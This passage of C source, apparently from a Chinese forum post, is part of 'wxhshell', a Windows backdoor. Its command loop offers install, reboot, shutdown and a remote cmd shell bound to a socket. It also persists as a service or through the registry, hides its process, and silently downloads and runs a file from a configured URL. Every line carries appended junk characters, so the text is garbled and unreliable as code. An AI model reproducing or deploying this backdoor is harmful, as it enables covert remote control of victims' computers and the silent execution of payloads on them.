  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S=H_9io  
  } q@!'R{fu  
  else { dG-or  
yvd `nV  
    switch(cmd[0]) { h!G^dW.  
  MuoctW  
  // 帮助 kg: uGP9  
  case '?': { 9#&W!f*qO|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~z K@pFeH  
    break; ^{*f3m/  
  } zn V1kqGU  
  // 安装 )?B~64N,+  
  case 'i': { ;EJPrDHTk  
    if(Install()) $xA J9_2P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q11QAx4p  
    else 4W!\4Va  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k%]DT.cE  
    break; 97Zk P=Cq  
    } VX;zZ`BJ  
  // 卸载 hqs$yb  
  case 'r': { f2 ydL/M,  
    if(Uninstall()) @A2/@]HBm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M'umoZmW0  
    else z1f^p7$M?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .]j#y9>&w%  
    break; N.0HfYf  
    } ]yAEjn9cN  
  // 显示 wxhshell 所在路径 [,<\RviI  
  case 'p': { =[P%_v``  
    char svExeFile[MAX_PATH]; }XCR+uAz  
    strcpy(svExeFile,"\n\r"); 'Aj(i/CM  
      strcat(svExeFile,ExeFile); l:Dn3Q  
        send(wsh,svExeFile,strlen(svExeFile),0); -DP8NTl"  
    break; b/sOfQ  
    } I9}+(6  
  // 重启 / R_ u\?k(  
  case 'b': { H]_WFiW-9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g7xbyB o7  
    if(Boot(REBOOT)) ytjK++(T5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oGm1d{_-O  
    else { atY *8I|  
    closesocket(wsh); ;/@?6T"  
    ExitThread(0); 8[{|xh(  
    } 3`58ah  
    break; WP0 #i~3*  
    } .OmQ'  
  // 关机 HEBqv+bG  
  case 'd': { [ULwzjss#L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QXdaMc+Ck  
    if(Boot(SHUTDOWN)) )xB$LJM8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9>N\sOh  
    else { u3]Uxy  
    closesocket(wsh); 8 +"10q-  
    ExitThread(0); `#u l,%  
    } k}D[Hp:m  
    break; NEA_Plt  
    } ^:qD.h>&  
  // 获取shell ZB828T3  
  case 's': { aH%ZetLNJ  
    CmdShell(wsh); UqN{JG:#.  
    closesocket(wsh);  bRNK.[|  
    ExitThread(0); s=MT,  
    break; %c]nWR+/  
  } VCjq3/[_  
  // 退出 SD?BM-&~  
  case 'x': { R|iEvt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); );nz4/V  
    CloseIt(wsh); *zq.C  
    break; F\5X7 ditD  
    } j'+ELKQ  
  // 离开 *C\(wL  
  case 'q': { EYkj@ .,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9 ~~qAoD  
    closesocket(wsh); |xh&p(  
    WSACleanup(); .U9 R> #  
    exit(1); QC{u|  
    break; 8h|M!/&2  
        } 0#QKVZq2>  
  } 9RQU?  
  } ' WQdr(  
1 tPVP  
  // 提示信息 }taLk@T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pz 7H To;p  
} 2Z)4(,  
  } ca(U!T68  
w?*z^y@  
  return; rfs(#  
} Lz@$3(2  
w9f _b3  
// shell模块句柄 llq*T"7  
int CmdShell(SOCKET sock) SWs3SYJ\  
{ ;3;2h+U*  
STARTUPINFO si; EyY],W1 Y  
ZeroMemory(&si,sizeof(si)); KlN/\N\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZjD)? 4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R`#W wx>b  
PROCESS_INFORMATION ProcessInfo; @vRwzc\   
char cmdline[]="cmd"; ?[)yGRzO2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M-J<n>hl  
  return 0; nBz`q+V  
} 2.-o@im0  
GqLq  gns  
// 自身启动模式 Icx7.Y  
int StartFromService(void) A&zS'toU  
{ pJBg?D  
typedef struct /=)L_  
{ m\ S\3n  
  DWORD ExitStatus; 19c@`?  
  DWORD PebBaseAddress; FW..mD9)}  
  DWORD AffinityMask; B=n[)"5fBO  
  DWORD BasePriority; 4^*,jS-9g}  
  ULONG UniqueProcessId; G:IP? z]  
  ULONG InheritedFromUniqueProcessId; #.._c?%4/  
}   PROCESS_BASIC_INFORMATION; :Q_3hK  
iWA|8$u4gm  
PROCNTQSIP NtQueryInformationProcess; F~HRME; Z  
#%$28sxB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ""% A'TZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l_{8+\`!  
.cDOl_z<:G  
  HANDLE             hProcess; sy/nESZs  
  PROCESS_BASIC_INFORMATION pbi; i"r!w|j  
DyO$P#~?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZU{4lhe  
  if(NULL == hInst ) return 0; ]:ZdV9`  
y_p.Gzy(^}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lg$zGa?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N&,]^>^u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y?d9l  
!w39FfU{  
  if (!NtQueryInformationProcess) return 0; x=q;O+7]  
5!X1G8h)uy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T-_"|-k}P%  
  if(!hProcess) return 0; @? c2)0  
bBc[bc>R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NZ0O,} m  
)%d*3\Tsd  
  CloseHandle(hProcess); "Gb1K9A im  
he(A3{'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a^U~0i@[S  
if(hProcess==NULL) return 0; {)8>jxQN  
_)T5lEFl=  
HMODULE hMod; b^0}}12  
char procName[255]; <h-vjz  
unsigned long cbNeeded; kF"@Ngv.  
*)M49a*UD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q 11IkDa  
1KM`i  
  CloseHandle(hProcess); K%v1xZ  
h:Gu`+D>W  
if(strstr(procName,"services")) return 1; // 以服务启动 j>-gO,v, y  
!8NC# s  
  return 0; // 注册表启动 a2'^8;U*_  
} {(U %i\F\  
:L44]K5FL  
// 主模块 9RN-suE[  
int StartWxhshell(LPSTR lpCmdLine) SN7"7joP<  
{ KR} ?H#%  
  SOCKET wsl; Cp\6W[2+B  
BOOL val=TRUE; y RqL9t  
  int port=0; XPc^Tq  
  struct sockaddr_in door; cZ,b?I"Q%  
soxc0OlN  
  if(wscfg.ws_autoins) Install(); "Bkfoi  
 $c!p&  
port=atoi(lpCmdLine); j^*dmX  
\  #F  
if(port<=0) port=wscfg.ws_port; Z-%\ <zT  
8S TvCH"Z_  
  WSADATA data; SO/c}vnBB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gT. sj d  
b=C*W,Q_#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T=DbBy0-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "Fr.fhh'~  
  door.sin_family = AF_INET; kt#fMd$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K-)] 1BG  
  door.sin_port = htons(port); J3V= 46Yc  
;?Tbnn Wn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P8:dU(nlW  
closesocket(wsl); >b}o~F^J  
return 1; Qp5VP@t  
} ^LnTOdAE  
K!%+0)A  
  if(listen(wsl,2) == INVALID_SOCKET) { o'aEY<mZ7  
closesocket(wsl); e*kpdS~U&  
return 1; J[|y:N  
} 1s&zMWC  
  Wxhshell(wsl); F~vuM$+d  
  WSACleanup(); h+H%?:FX  
Tk[ $5u*,  
return 0; M] %?>G  
HyQJXw?A:  
} `{h*/Q  
R%WCH?B<}  
// 以NT服务方式启动 iq8<ov  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xIW3={b3  
{ 8 FK/~,I  
DWORD   status = 0; BwEN~2u6  
  DWORD   specificError = 0xfffffff; ?p{Nwl#  
Lg+Ac5y}`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EJ.SW5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7F7 {)L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p4rL}Jm&  
  serviceStatus.dwWin32ExitCode     = 0; +o{R _  
  serviceStatus.dwServiceSpecificExitCode = 0; r +i($ jMs  
  serviceStatus.dwCheckPoint       = 0; NNR`!Pty  
  serviceStatus.dwWaitHint       = 0; 558V_y:  
1=c\Rr9]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e]"W!K cD9  
  if (hServiceStatusHandle==0) return; d"mkL-  
A`$%SVgFV^  
status = GetLastError(); 4he GnMD  
  if (status!=NO_ERROR) d L 1tl  
{ /t57!&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2;`1h[,-^  
    serviceStatus.dwCheckPoint       = 0; /9*B)m"  
    serviceStatus.dwWaitHint       = 0; (N6i4 g6  
    serviceStatus.dwWin32ExitCode     = status; xh,qNnGGi  
    serviceStatus.dwServiceSpecificExitCode = specificError; KP^V>9q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G6P?2@  
    return; ]@c+]{  
  } wu!59pL  
L#?Ek-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yui3+}Ms  
  serviceStatus.dwCheckPoint       = 0; 85$m[+md  
  serviceStatus.dwWaitHint       = 0; (0r3/t?DQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %D34/=(X  
} 6dt]`zv/  
tjGn|+|k  
// 处理NT服务事件,比如:启动、停止 $y&E(J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +F` S>U  
{ W ]1)zO  
switch(fdwControl) X1|njJGO1  
{ drP=A~?&:  
case SERVICE_CONTROL_STOP: *b}HNX|  
  serviceStatus.dwWin32ExitCode = 0; 3?9IJ5p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rig,mv  
  serviceStatus.dwCheckPoint   = 0; &< `NT D  
  serviceStatus.dwWaitHint     = 0; )gIKH{JYL  
  { |Q6.299  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;>yxNGV`  
  } L|:`^M+^w  
  return; I\{ 1u  
case SERVICE_CONTROL_PAUSE: H3 ^},.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mt{nm[D!Xp  
  break; y/cvQY0pU  
case SERVICE_CONTROL_CONTINUE: ?k&Vy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EStB#V^  
  break; O)*+="Rg  
case SERVICE_CONTROL_INTERROGATE: zuad~%D<I  
  break; jyUjlYAAv`  
}; @[<><uTH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `l ^9/_g'6  
} jh%Eq+#S  
z6=Z\P+  
// 标准应用程序主函数 @ $ ;q ;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L^2%1GfE{  
{ rdP[<Y9  
5y [Oj^  
// 获取操作系统版本 uM IIYS  
OsIsNt=GetOsVer(); *20jz<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HZC"nb}r4  
3 *"WG O5  
  // 从命令行安装 v\gLWq'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8B K(4?gC  
5h=}j  
  // 下载执行文件 u<tbbKM  
if(wscfg.ws_downexe) { *=/ { HvJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EReZkvseC  
  WinExec(wscfg.ws_filenam,SW_HIDE); @]%IK(|  
} /tx]5`#@7]  
XH4  
if(!OsIsNt) { f P 1[[3i  
// 如果时win9x,隐藏进程并且设置为注册表启动 OUPUixz2Z  
HideProc(); 7hD>As7`/  
StartWxhshell(lpCmdLine); kzQ+j8.,U  
} +s,=lL  
else 3</_c1~  
  if(StartFromService()) u^ +7hkk  
  // 以服务方式启动 {0Yf]FQb-a  
  StartServiceCtrlDispatcher(DispatchTable); dC3o9  
else ,GbR!j@6  
  // 普通方式启动 Q^9_' t}X  
  StartWxhshell(lpCmdLine); ,i?nWlh+  
mW(W\'~_~  
return 0; ^B.5GK)!  
}
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只看该作者 1 发表于: 2006-10-10
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